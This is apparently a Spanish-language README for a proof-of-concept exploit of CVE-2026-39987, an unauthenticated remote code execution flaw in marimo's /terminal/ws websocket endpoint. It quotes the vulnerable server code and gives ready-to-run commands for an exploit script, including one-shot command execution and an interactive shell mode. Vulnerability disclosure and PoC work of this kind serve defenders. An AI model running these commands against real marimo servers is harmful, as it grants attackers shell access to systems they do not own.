
CVE-2026-39987 for marimo 0.20.4 PoC
Información:
CVE-2026-39987 es una vulnerabilidad crítica de ejecución remota de código (RCE) previa a la autenticación en Marimo (versiones anteriores a 0.23.0)
Por qué funciona:
El endpoint /terminal/ws está expuesto sin ningún tipo de autenticación.
dentro de: marimo/_server/api/endpoints/terminal.py
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
await websocket.close(...)
return
if not supports_terminal():
await websocket.close(...)
return
await websocket.accept()
# further down..
child_pid, fd = pty.fork()
Como puedes ver, no hay ninguna comprobación de autenticación en absoluto antes de que se cree una shell PTY.
python3 CVE-2026-39987.py example.com -c 'whoami'
si no devuelve nada y el objetivo usa SSL, usa los argumentos --max-wait y --any-ssl.
python3 CVE-2026-39987.py example.com -c 'whoami' --any-ssl --max-wait 5
también existe el modo interactivo
python3 CVE-2026-39987.py example.com -i --any-ssl